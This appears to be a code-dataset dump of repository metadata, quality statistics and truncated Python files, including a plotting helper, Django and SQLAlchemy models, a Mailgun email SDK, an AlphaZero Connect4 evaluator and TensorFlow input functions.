0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
9b8343d50aa1c2d8411fd1e57832ef11a1bd7b98
603
py
Python
source/plot.py
adeeconometrics/s_distributions
a29b1db324d7ee7f63498c8ed1888ab6ead849d8
[ "MIT" ]
null
null
null
source/plot.py
adeeconometrics/s_distributions
a29b1db324d7ee7f63498c8ed1888ab6ead849d8
[ "MIT" ]
null
null
null
source/plot.py
adeeconometrics/s_distributions
a29b1db324d7ee7f63498c8ed1888ab6ead849d8
[ "MIT" ]
null
null
null
from univariate._base import Base import matplotlib.pyplot as plt import numpy as np def plot(Distribution:Base, x:np.ndarray)->None: # plot multiple versions of the distirbution in # different parameterization. Annotate vaules on # legend and include annotations on the image. plt.plot(x,Dis...
33.5
74
0.704809
81
603
5.08642
0.654321
0.067961
0
0
0
0
0
0
0
0
0
0.012371
0.195688
603
18
75
33.5
0.837113
0.31675
0
0
0
0
0.069054
0
0
0
0
0
0
1
0.1
false
0
0.4
0
0.5
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
9b8557d772480fff805279c1f798d958518e8e14
2,079
py
Python
dogclient/dogclient/events.py
bad-hombres/dog
74cb44ca819d8c6fe6136ee735ac2e5e4d6473e1
[ "MIT" ]
1
2017-12-08T09:12:46.000Z
2017-12-08T09:12:46.000Z
dogclient/dogclient/events.py
bad-hombres/dog
74cb44ca819d8c6fe6136ee735ac2e5e4d6473e1
[ "MIT" ]
null
null
null
dogclient/dogclient/events.py
bad-hombres/dog
74cb44ca819d8c6fe6136ee735ac2e5e4d6473e1
[ "MIT" ]
null
null
null
# -*- coding: utf8 -*- class DogEvent(object): def __init__(self, event_type, data): self.event_type = event_type self.data = data def get_event(self): tmp = "" if isinstance(self.data, dict): for k in self.data.keys(): tmp += "{}={}~".format(...
35.237288
140
0.601251
241
2,079
4.871369
0.26556
0.115843
0.084327
0.129472
0.321976
0.321976
0.298978
0.298978
0.160136
0.085179
0
0.002484
0.225589
2,079
58
141
35.844828
0.726708
0.00962
0
0.045455
0
0
0.094312
0
0
0
0
0
0
1
0.25
false
0
0
0
0.5
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
9b8fd18f5c346ad32346c758dd546565736b9490
7,398
py
Python
mwlib/pdf/htmlfilters/sizetools.py
pediapress/mwlib.pdf
0b903fbd824a761dfa8389f4879e931a048dd2c3
[ "MIT" ]
5
2019-11-29T20:33:41.000Z
2020-06-09T14:46:03.000Z
mwlib/pdf/htmlfilters/sizetools.py
pediapress/mwlib.pdf
0b903fbd824a761dfa8389f4879e931a048dd2c3
[ "MIT" ]
1
2021-03-31T19:26:28.000Z
2021-03-31T19:26:28.000Z
mwlib/pdf/htmlfilters/sizetools.py
pediapress/mwlib.pdf
0b903fbd824a761dfa8389f4879e931a048dd2c3
[ "MIT" ]
null
null
null
#!/usr/bin/env python # ~ -*- coding:utf-8 -*- from math import ceil from mwlib.pdf import utils from .. import config def node_size(node): """ Get node size :param node: xpath node :return: width and height of node """ w = h = None try: w = float(node.get("box_width")) h...
31.480851
99
0.597864
981
7,398
4.316004
0.201835
0.038262
0.041568
0.05196
0.295938
0.218942
0.081011
0.081011
0.053141
0.022674
0
0.005401
0.274263
7,398
234
100
31.615385
0.7832
0.01568
0
0.09589
0
0
0.124704
0.007419
0
0
0
0
0
0
null
null
0.006849
0.020548
null
null
0.006849
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
9b8feb47a5d6368351509f0b303e9b9be1683b94
10,182
py
Python
elmify.py
passiomatic/mage-city
04cc6841b435d5134f359692d1df461c9a5b0f8e
[ "MIT" ]
15
2017-05-16T00:26:50.000Z
2021-10-01T11:50:33.000Z
elmify.py
passiomatic/mage-city
04cc6841b435d5134f359692d1df461c9a5b0f8e
[ "MIT" ]
5
2017-05-14T17:45:34.000Z
2017-08-04T21:42:20.000Z
elmify.py
passiomatic/mage-city
04cc6841b435d5134f359692d1df461c9a5b0f8e
[ "MIT" ]
4
2017-05-15T23:21:12.000Z
2019-10-17T09:07:01.000Z
# -*- coding: utf-8 -*- import os import sys import json import struct import base64 import io import urlparse import itertools from functools import partial from optparse import OptionParser, make_option from PIL import Image BOILERPLATE = """ -- This file has been generated by the Elmify utility. Sample usage: -- $ ...
29.008547
114
0.615007
1,308
10,182
4.634557
0.249235
0.037611
0.012867
0.011217
0.137743
0.097823
0.061366
0.050148
0.040251
0.040251
0
0.010221
0.25054
10,182
350
115
29.091429
0.78417
0.132685
0
0.116883
0
0
0.149716
0.008191
0
0
0
0.002857
0
0
null
null
0
0.069264
null
null
0.004329
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
9b954d84d236028243fe19e36d37eb936b21c791
3,087
py
Python
app/models.py
abhishtagatya/pandubot
ec0f20b31fc61b5581753711d774213bbf70d438
[ "MIT" ]
1
2018-08-29T12:03:06.000Z
2018-08-29T12:03:06.000Z
app/models.py
abhishtagatya/pandubot
ec0f20b31fc61b5581753711d774213bbf70d438
[ "MIT" ]
null
null
null
app/models.py
abhishtagatya/pandubot
ec0f20b31fc61b5581753711d774213bbf70d438
[ "MIT" ]
null
null
null
from app import db class Users(db.Model): __tablename__ = 'Users' id = db.Column(db.String(50), primary_key=True) name = db.Column(db.String(50)) location = db.Column(db.String(100)) latitude = db.Column(db.Float) longitude = db.Column(db.Float) travel_point = db.Column(db.Integer) d...
36.317647
97
0.716553
398
3,087
5.21608
0.128141
0.096339
0.120424
0.138728
0.282755
0.184971
0.104046
0.049133
0.049133
0
0
0.015612
0.1908
3,087
84
98
36.75
0.815452
0.008098
0
0
0
0
0.019614
0
0
0
0
0
0
1
0.061538
false
0
0.015385
0
0.584615
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
9b9727805d8969b9a5a847ba1b36c6108ea677f3
533
py
Python
second-analysis-steps/code/building-decays/00.start.py
marianstahl/starterkit-lessons
0b435c197a7629dc7046e6440647925c4d3ed808
[ "CC-BY-4.0" ]
21
2017-05-08T20:32:34.000Z
2021-11-15T13:10:20.000Z
second-analysis-steps/code/building-decays/00.start.py
marianstahl/starterkit-lessons
0b435c197a7629dc7046e6440647925c4d3ed808
[ "CC-BY-4.0" ]
212
2017-05-08T14:26:38.000Z
2022-02-22T15:23:50.000Z
second-analysis-steps/code/building-decays/00.start.py
marianstahl/starterkit-lessons
0b435c197a7629dc7046e6440647925c4d3ed808
[ "CC-BY-4.0" ]
82
2017-05-08T13:46:14.000Z
2021-12-08T15:59:32.000Z
from Configurables import DaVinci from GaudiConf import IOHelper DaVinci().InputType = 'DST' DaVinci().TupleFile = 'DVntuple.root' DaVinci().PrintFreq = 1000 DaVinci().DataType = '2016' DaVinci().Simulation = True # Only ask for luminosity information when not using simulated data DaVinci().Lumi = not DaVinci().Simula...
35.533333
148
0.739212
66
533
5.939394
0.666667
0.086735
0
0
0
0
0
0
0
0
0
0.096567
0.125704
533
14
149
38.071429
0.744635
0.121951
0
0
0
0.090909
0.298283
0.255365
0
0
0
0
0
1
0
true
0
0.181818
0
0.181818
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
1
9ba0b2fa5ffa80c8334f769bb530b36565da6832
639
py
Python
utils/motion_recorder.py
arpspoof/Jump
1c9c1bd5c499e24bab25eb7decaa772b60798794
[ "MIT" ]
46
2021-04-25T03:36:47.000Z
2022-01-19T00:23:59.000Z
utils/motion_recorder.py
squalidux/Jump
1c9c1bd5c499e24bab25eb7decaa772b60798794
[ "MIT" ]
4
2021-05-25T10:04:11.000Z
2022-02-22T01:54:00.000Z
utils/motion_recorder.py
squalidux/Jump
1c9c1bd5c499e24bab25eb7decaa772b60798794
[ "MIT" ]
8
2021-04-25T03:05:35.000Z
2021-07-05T19:58:01.000Z
import yaml class MotionRecorder: def __init__(self, input_file=None): self.data = {} if input_file: with open(input_file, 'r') as file: self.data = yaml.safe_load(file) def append(self, object_name, pose): if object_name not in self.data: se...
30.428571
75
0.604069
88
639
4.181818
0.363636
0.173913
0.11413
0.146739
0
0
0
0
0
0
0
0
0.29108
639
20
76
31.95
0.812362
0
0
0
0
0
0.00313
0
0
0
0
0
0
1
0.25
false
0
0.0625
0.0625
0.4375
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
9ba47fdb2699b1787776ee5f5294556b1bc0f4e6
20,693
py
Python
parlaskupine/models.py
VesterDe/parlalize
b725fe4b55b95f2ad3505aa70dac2474269ea3da
[ "Unlicense" ]
1
2021-04-19T07:30:06.000Z
2021-04-19T07:30:06.000Z
parlaskupine/models.py
VesterDe/parlalize
b725fe4b55b95f2ad3505aa70dac2474269ea3da
[ "Unlicense" ]
null
null
null
parlaskupine/models.py
VesterDe/parlalize
b725fe4b55b95f2ad3505aa70dac2474269ea3da
[ "Unlicense" ]
null
null
null
# -*- coding: utf-8 -*- from django.db import models from django.utils.encoding import python_2_unicode_compatible from django.utils.translation import ugettext_lazy as _ from parlaposlanci.models import * from parlaseje.models import * from jsonfield import JSONField from behaviors.models import Timestampable # conve...
42.665979
108
0.494563
1,708
20,693
5.786885
0.127049
0.067989
0.109166
0.142756
0.730878
0.718839
0.680393
0.614933
0.540571
0.502125
0
0.01015
0.414391
20,693
485
109
42.665979
0.805496
0.013386
0
0.557692
0
0
0.133899
0
0
0
0
0
0
1
0.010989
false
0
0.019231
0.010989
0.428571
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
9ba8bdcd61608e5b87987f3e942a43e57b696207
522
py
Python
danceschool/core/migrations/0049_auto_20210323_1913.py
django-danceschool/django-danceschool
65ae09ffdcb0821e82df0e1f634fe13c0384a525
[ "BSD-3-Clause" ]
32
2017-09-12T04:25:25.000Z
2022-03-21T10:48:07.000Z
danceschool/core/migrations/0049_auto_20210323_1913.py
django-danceschool/django-danceschool
65ae09ffdcb0821e82df0e1f634fe13c0384a525
[ "BSD-3-Clause" ]
97
2017-09-01T02:43:08.000Z
2022-01-03T18:20:34.000Z
danceschool/core/migrations/0049_auto_20210323_1913.py
django-danceschool/django-danceschool
65ae09ffdcb0821e82df0e1f634fe13c0384a525
[ "BSD-3-Clause" ]
19
2017-09-26T13:34:46.000Z
2022-03-21T10:48:10.000Z
# Generated by Django 3.1.6 on 2021-03-23 23:13 from django.db import migrations, models import django.db.models.expressions class Migration(migrations.Migration): dependencies = [ ('core', '0048_event_partnerrequired'), ] operations = [ migrations.AddConstraint( model_name=...
27.473684
165
0.693487
57
522
6.210526
0.666667
0.067797
0.079096
0.141243
0
0
0
0
0
0
0
0.045131
0.193487
522
18
166
29
0.795724
0.086207
0
0
1
0
0.189474
0.130526
0
0
0
0
0
1
0
false
0
0.166667
0
0.416667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
9bab204766d18dc80a706fcb23acd5fa2ed4b904
8,998
py
Python
_sdk/_email/mailgun.py
Memberships-Affiliate-Management-API/membership_and_affiliate_api
038cb2d4dfa4a47fb8e31dc9d00cd36dd28867d5
[ "MIT" ]
1
2021-08-31T15:24:48.000Z
2021-08-31T15:24:48.000Z
_sdk/_email/mailgun.py
freelancing-solutions/membership_and_affiliate_api
038cb2d4dfa4a47fb8e31dc9d00cd36dd28867d5
[ "MIT" ]
1
2021-10-13T14:11:15.000Z
2021-10-13T14:11:15.000Z
_sdk/_email/mailgun.py
Memberships-Affiliate-Management-API/membership_and_affiliate_api
038cb2d4dfa4a47fb8e31dc9d00cd36dd28867d5
[ "MIT" ]
1
2021-08-31T15:25:28.000Z
2021-08-31T15:25:28.000Z
""" **Mailgun Emails Integration SDK** *Python ^3.8 class to send emails through a mailgun rest api # You can see a record of this email in your logs: https://app.mailgun.com/app/logs. # You can send up to 300 emails/day from this sandbox server. # Next, you should add your o...
45.21608
128
0.670593
1,148
8,998
4.959059
0.216028
0.049183
0.012647
0.02951
0.344282
0.277183
0.215001
0.178465
0.148252
0.135605
0
0.004208
0.234163
8,998
198
129
45.444444
0.821942
0.272727
0
0.142857
0
0
0.138838
0.073803
0
0
0
0.010101
0
1
0.107143
false
0
0.119048
0.02381
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
9bab951d53e8f9365dc16a778a91d8781bbc85e0
853
py
Python
AlphaZero/conv_eval.py
IvLabs/model-based-RL
8d22eabf7bf2601629015ef6c869e3850c306d6f
[ "MIT" ]
7
2021-05-29T03:56:58.000Z
2021-12-09T18:44:15.000Z
AlphaZero/conv_eval.py
IvLabs/model-based-RL
8d22eabf7bf2601629015ef6c869e3850c306d6f
[ "MIT" ]
null
null
null
AlphaZero/conv_eval.py
IvLabs/model-based-RL
8d22eabf7bf2601629015ef6c869e3850c306d6f
[ "MIT" ]
null
null
null
import numpy as np import torch import Nets from eval import pit_against_network, pit_human, hist_compare, pit_onelookahead from Connect4Game import Connect4Game if __name__ == '__main__': # initialize networks net = Nets.Conv() net.load_state_dict(torch.load('convbkup/conv10.pth')) net.eval() au...
24.371429
79
0.681125
115
853
4.8
0.347826
0.065217
0.061594
0.057971
0.282609
0.282609
0.282609
0.163043
0.163043
0
0
0.018466
0.174678
853
34
80
25.088235
0.765625
0.134818
0
0
0
0
0.069663
0
0
0
0
0
0
1
0
false
0
0.384615
0
0.384615
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
9bacb8c2b9b382150f7be5be2696626f46d61e9f
626
py
Python
wagtailvideos/migrations/0009_videotranscode_quality.py
pythontrade/wagtailvideos
dd9078e7b2784399ba3995b520b91db48d5661c8
[ "BSD-3-Clause" ]
2
2019-05-14T13:49:57.000Z
2019-05-14T16:05:07.000Z
wagtailvideos/migrations/0009_videotranscode_quality.py
pythontrade/wagtailvideos
dd9078e7b2784399ba3995b520b91db48d5661c8
[ "BSD-3-Clause" ]
null
null
null
wagtailvideos/migrations/0009_videotranscode_quality.py
pythontrade/wagtailvideos
dd9078e7b2784399ba3995b520b91db48d5661c8
[ "BSD-3-Clause" ]
1
2020-03-01T16:31:17.000Z
2020-03-01T16:31:17.000Z
# -*- coding: utf-8 -*- # Generated by Django 1.9.7 on 2016-08-01 04:35 from __future__ import unicode_literals from django.db import migrations import enumchoicefield.fields import wagtailvideos.models class Migration(migrations.Migration): dependencies = [ ('wagtailvideos', '0008_auto_20160728_1523'),...
27.217391
163
0.696486
66
626
6.439394
0.681818
0.134118
0.145882
0
0
0
0
0
0
0
0
0.067864
0.199681
626
22
164
28.454545
0.780439
0.107029
0
0
1
0
0.102518
0.041367
0
0
0
0
0
1
0
false
0
0.266667
0
0.466667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
9baf85d4b57123982cb9a28d45350775ee08c69a
1,662
py
Python
cloud_functions/forms.py
aerosense-ai/data-gateway
019b8e4a114e16d363a3167171a457cefdbf004f
[ "Apache-2.0" ]
null
null
null
cloud_functions/forms.py
aerosense-ai/data-gateway
019b8e4a114e16d363a3167171a457cefdbf004f
[ "Apache-2.0" ]
34
2021-12-20T14:51:57.000Z
2022-03-30T16:47:04.000Z
cloud_functions/forms.py
aerosense-ai/data-gateway
019b8e4a114e16d363a3167171a457cefdbf004f
[ "Apache-2.0" ]
null
null
null
from flask_wtf import FlaskForm from slugify import slugify from wtforms import FloatField, StringField, validators from wtforms.validators import StopValidation class SlugifiedValidator: def __call__(self, form, field): """Validate that the value of the given form field is slugified. :param flas...
46.166667
91
0.729844
167
1,662
7.185629
0.365269
0.128333
0.02
0.021667
0.115
0.115
0
0
0
0
0
0.001425
0.155235
1,662
35
92
47.485714
0.853276
0.167268
0
0.090909
0
0
0.114435
0
0
0
0
0
0
1
0.045455
false
0
0.181818
0
0.909091
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
9bbb5c33532f6089b60bf7e6ed536301e9fc8cf7
202
py
Python
Weeks/Week6/Excersise4.py
chars32/edx_python
1d351e7ec804b97fdff6796d7578d4a91e503c26
[ "MIT" ]
null
null
null
Weeks/Week6/Excersise4.py
chars32/edx_python
1d351e7ec804b97fdff6796d7578d4a91e503c26
[ "MIT" ]
null
null
null
Weeks/Week6/Excersise4.py
chars32/edx_python
1d351e7ec804b97fdff6796d7578d4a91e503c26
[ "MIT" ]
null
null
null
#Write a program that asks the user for an input 'n' and prints a square of n by n asterisks "*". number = int(input("Give me a number: ")) line = '*'*number for x in range(0, number): print (line)
25.25
98
0.663366
37
202
3.621622
0.72973
0
0
0
0
0
0
0
0
0
0
0.00625
0.207921
202
8
99
25.25
0.83125
0.475248
0
0
0
0
0.180952
0
0
0
0
0
0
1
0
false
0
0
0
0
0.25
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
32cda8d16a9af946e39171a26d47e9f9b2f5d0f2
722
py
Python
deep_learning_with_tensorFlow/Chapter05/p11601.py
pearpai/TensorFlow-action
264099d933988532ed59eaf0f2ad495d40ede4d2
[ "Apache-2.0" ]
3
2018-06-07T07:15:00.000Z
2018-10-09T07:59:50.000Z
deep_learning_with_tensorFlow/Chapter05/p11601.py
pearpai/TensorFlow-action
264099d933988532ed59eaf0f2ad495d40ede4d2
[ "Apache-2.0" ]
null
null
null
deep_learning_with_tensorFlow/Chapter05/p11601.py
pearpai/TensorFlow-action
264099d933988532ed59eaf0f2ad495d40ede4d2
[ "Apache-2.0" ]
4
2017-04-23T05:30:41.000Z
2018-09-27T07:13:37.000Z
import tensorflow as tf from tensorflow.python.platform import gfile with tf.Session() as sess: model_filename = 'Saved_model/combined_model.pb' # 读取保存的模型文件,并将文件解析成对于的GraphDef Protocol Buffer ''' def __init__(self, name, mode='r'): mode = mode.replace('b', '') super(FastGFile, self).__...
32.818182
75
0.691136
90
722
5.322222
0.566667
0.066806
0.070981
0.075157
0
0
0
0
0
0
0
0.005068
0.180055
722
21
76
34.380952
0.804054
0.211911
0
0
0
0
0.089552
0.072139
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0.111111
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
32d0037a85a7aa6ce6296c94b9a1d29482c842d8
921
py
Python
coaches/tests/test_urls.py
keeks-mtl/go-tennis
af3f325a9cfb2faba4d935824492f4aea6d10309
[ "W3C", "PostgreSQL" ]
null
null
null
coaches/tests/test_urls.py
keeks-mtl/go-tennis
af3f325a9cfb2faba4d935824492f4aea6d10309
[ "W3C", "PostgreSQL" ]
null
null
null
coaches/tests/test_urls.py
keeks-mtl/go-tennis
af3f325a9cfb2faba4d935824492f4aea6d10309
[ "W3C", "PostgreSQL" ]
null
null
null
from django.test import SimpleTestCase from django.urls import reverse, resolve from coaches.views import (view_coaches, view_coach, add_coach, edit_coach, delete_coach) class TestUrls(SimpleTestCase): def test_view_coaches_url(self): url = reverse("view_coaches") self....
32.892857
63
0.677524
119
921
4.991597
0.201681
0.058923
0.084175
0.143098
0.506734
0.265993
0.20202
0.20202
0
0
0
0.00411
0.207383
921
27
64
34.111111
0.809589
0
0
0
0
0
0.060803
0
0
0
0
0
0.25
1
0.25
false
0
0.15
0
0.45
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
32d236964c1ac2a503bc42c5cb7b6a5ac2dad72b
654
py
Python
src/decisions/fridgedecision.py
jussike/kuappi
985040dc813c023dc1577f31ca7f6744d42c91de
[ "MIT" ]
null
null
null
src/decisions/fridgedecision.py
jussike/kuappi
985040dc813c023dc1577f31ca7f6744d42c91de
[ "MIT" ]
null
null
null
src/decisions/fridgedecision.py
jussike/kuappi
985040dc813c023dc1577f31ca7f6744d42c91de
[ "MIT" ]
null
null
null
from abstract import AbstractDecision from common import TEMP class FridgeDecision(AbstractDecision): soft_hi_limit = 4.8 soft_low_limit = 3.3 hard_hi_limit = 7 hard_low_limit = 0 def get_decision(self, data, output_state=None): temp = data[TEMP] if temp > self.hard_hi_limit: ...
28.434783
61
0.637615
88
654
4.5
0.386364
0.070707
0.090909
0.090909
0.111111
0
0
0
0
0
0
0.013333
0.311927
654
22
62
29.727273
0.866667
0
0
0.3
0
0
0
0
0
0
0
0
0
1
0.05
false
0
0.1
0
0.7
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
32dccaafbf4b658383af3882d705c7a4aef9bf58
6,331
py
Python
tf/input_function.py
laiguokun/transformer-xl
fd090d97504c46db19ed998cba3ad8f85d481fe6
[ "Apache-2.0" ]
null
null
null
tf/input_function.py
laiguokun/transformer-xl
fd090d97504c46db19ed998cba3ad8f85d481fe6
[ "Apache-2.0" ]
null
null
null
tf/input_function.py
laiguokun/transformer-xl
fd090d97504c46db19ed998cba3ad8f85d481fe6
[ "Apache-2.0" ]
null
null
null
"""Create LM input function for TPUEstimator.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import json import os import absl.logging as _logging # pylint: disable=unused-import import tensorflow as tf # pylint: disable=g-import-not-at-top try: fr...
31.341584
78
0.679671
880
6,331
4.598864
0.209091
0.074129
0.044972
0.034594
0.390907
0.290586
0.193477
0.119595
0.090437
0.064739
0
0.004978
0.20676
6,331
201
79
31.497512
0.800876
0.109461
0
0.172662
0
0
0.102683
0
0
0
0
0
0.007194
1
0.043165
false
0.071942
0.086331
0
0.172662
0.007194
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
32de9acdf8afee58e3c5550dd9203c5142d528c6
26,204
py
Python
controllers/dssm_front_rear_mpc/dssm_front_rear_mpc.py
tuncali/VeTeF
3810cffd87fc6a9d815774cb3d914d3a47288055
[ "Apache-2.0" ]
null
null
null
controllers/dssm_front_rear_mpc/dssm_front_rear_mpc.py
tuncali/VeTeF
3810cffd87fc6a9d815774cb3d914d3a47288055
[ "Apache-2.0" ]
null
null
null
controllers/dssm_front_rear_mpc/dssm_front_rear_mpc.py
tuncali/VeTeF
3810cffd87fc6a9d815774cb3d914d3a47288055
[ "Apache-2.0" ]
null
null
null
import math import os import sys import numpy as np import copy filePath = os.path.dirname(os.path.realpath(__file__)) sys.path.append(filePath+"/../base_controller") sys.path.append(filePath+"/../controller_commons") sys.path.append(filePath+"/../generic_pid_controller") sys.path.append(filePath+"/../generic_stanley_...
54.820084
309
0.638605
3,392
26,204
4.655366
0.114976
0.037996
0.066494
0.037236
0.501172
0.392565
0.34792
0.320879
0.31442
0.310873
0
0.017383
0.26454
26,204
477
310
54.93501
0.801993
0.07308
0
0.155263
0
0
0.021793
0.005065
0
0
0
0.008386
0
0
null
null
0.026316
0.034211
null
null
0.015789
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
32e35cfeb05db002582fdac51ee329785562ac66
427
py
Python
backend/flungo_portfolio/categories/migrations/0002_alter_category_sub_categories.py
mahmoodDehghan/flungo-portfolio
7f5e853ef47494823d7de417f60334311eae8f9c
[ "MIT" ]
null
null
null
backend/flungo_portfolio/categories/migrations/0002_alter_category_sub_categories.py
mahmoodDehghan/flungo-portfolio
7f5e853ef47494823d7de417f60334311eae8f9c
[ "MIT" ]
null
null
null
backend/flungo_portfolio/categories/migrations/0002_alter_category_sub_categories.py
mahmoodDehghan/flungo-portfolio
7f5e853ef47494823d7de417f60334311eae8f9c
[ "MIT" ]
null
null
null
# Generated by Django 3.2.8 on 2021-11-14 08:34 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('categories', '0001_initial'), ] operations = [ migrations.AlterField( model_name='category', name='sub_categories', ...
22.473684
89
0.601874
43
427
5.883721
0.813953
0
0
0
0
0
0
0
0
0
0
0.06051
0.264637
427
18
90
23.722222
0.745223
0.105386
0
0
1
0
0.165789
0
0
0
0
0
0
1
0
false
0
0.083333
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
32e35d07f60b7ea490e0521adcf207694b1cab28
616
py
Python
edukasi/migrations/0038_auto_20210718_1227.py
irzaip/trampill_py
74310e44864ab1bb8b20f529c21079cbd8076875
[ "MIT" ]
2
2020-11-21T04:25:11.000Z
2021-07-07T08:26:10.000Z
edukasi/migrations/0038_auto_20210718_1227.py
irzaip/trampill_py
74310e44864ab1bb8b20f529c21079cbd8076875
[ "MIT" ]
7
2021-07-04T14:55:48.000Z
2021-09-08T12:51:22.000Z
edukasi/migrations/0038_auto_20210718_1227.py
irzaip/trampill_py
74310e44864ab1bb8b20f529c21079cbd8076875
[ "MIT" ]
1
2021-09-10T06:05:49.000Z
2021-09-10T06:05:49.000Z
# Generated by Django 3.1.2 on 2021-07-18 05:27 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('edukasi', '0037_auto_20210718_1226'), ] operations = [ migrations.AddField( model_name='kegiatan', nam...
25.666667
70
0.579545
63
616
5.492063
0.619048
0.104046
0.132948
0.156069
0.531792
0.531792
0.531792
0.265896
0.265896
0
0
0.073286
0.313312
616
23
71
26.782609
0.744681
0.073052
0
0.470588
1
0
0.135531
0.042125
0
0
0
0
0
1
0
false
0
0.058824
0
0.235294
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
32e48d93ea8696a103ab7347141e128cb98789d8
18,551
py
Python
newcomers_guide/tests/test_clean_data.py
pg-irc/pathways-backend
05a8c4e750523d2d081b030a248c5444d1ed7992
[ "BSD-3-Clause" ]
12
2017-08-30T18:21:00.000Z
2021-12-09T04:04:17.000Z
newcomers_guide/tests/test_clean_data.py
pg-irc/pathways-backend
05a8c4e750523d2d081b030a248c5444d1ed7992
[ "BSD-3-Clause" ]
424
2017-08-08T18:32:14.000Z
2022-03-30T21:42:51.000Z
newcomers_guide/tests/test_clean_data.py
pg-irc/pathways-backend
05a8c4e750523d2d081b030a248c5444d1ed7992
[ "BSD-3-Clause" ]
7
2017-09-29T21:14:37.000Z
2019-12-30T21:07:37.000Z
from django.test import TestCase from newcomers_guide.clean_data import (clean_up_http_links, clean_up_email_links, clean_up_newlines, replace_unicode_newlines) # Need to replace single newlines with space, except when the line before # and/or after is a list item or heading. Th...
47.203562
197
0.67274
2,634
18,551
4.502658
0.116932
0.060793
0.129848
0.142833
0.77774
0.691062
0.629089
0.610371
0.579848
0.49941
0
0.006252
0.198156
18,551
392
198
47.32398
0.790723
0.079888
0
0.230241
0
0.075601
0.314678
0.01537
0
0
0
0
0.268041
1
0.24055
false
0
0.006873
0
0.257732
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
32e91c61b6c4b5c7c3e658a9c59bf2dc917a2c0d
2,968
py
Python
argus/faker/Faker.py
paul-oreilly-nz/Argus
d99d23707a3b681eb9c4e1dd6b436e770b153428
[ "MIT" ]
null
null
null
argus/faker/Faker.py
paul-oreilly-nz/Argus
d99d23707a3b681eb9c4e1dd6b436e770b153428
[ "MIT" ]
null
null
null
argus/faker/Faker.py
paul-oreilly-nz/Argus
d99d23707a3b681eb9c4e1dd6b436e770b153428
[ "MIT" ]
null
null
null
""" Faker generates fake records of data and submits those records to Kafta """ from argus.common.Common import CommonAppFramework, LogLevel from argus.common.data import schema from argus.common.KafkaConnection import KafkaConnection import sys import random from datetime import datetime from time import sleep ...
31.574468
86
0.581536
356
2,968
4.741573
0.376404
0.029621
0.037915
0.0391
0
0
0
0
0
0
0
0.023348
0.321766
2,968
93
87
31.913978
0.815201
0.273922
0
0
1
0
0.080704
0
0
0
0
0
0
1
0.113208
false
0
0.132075
0
0.339623
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
32eaba389d9011dea6c59d53626ed66ef9a0e93c
3,556
py
Python
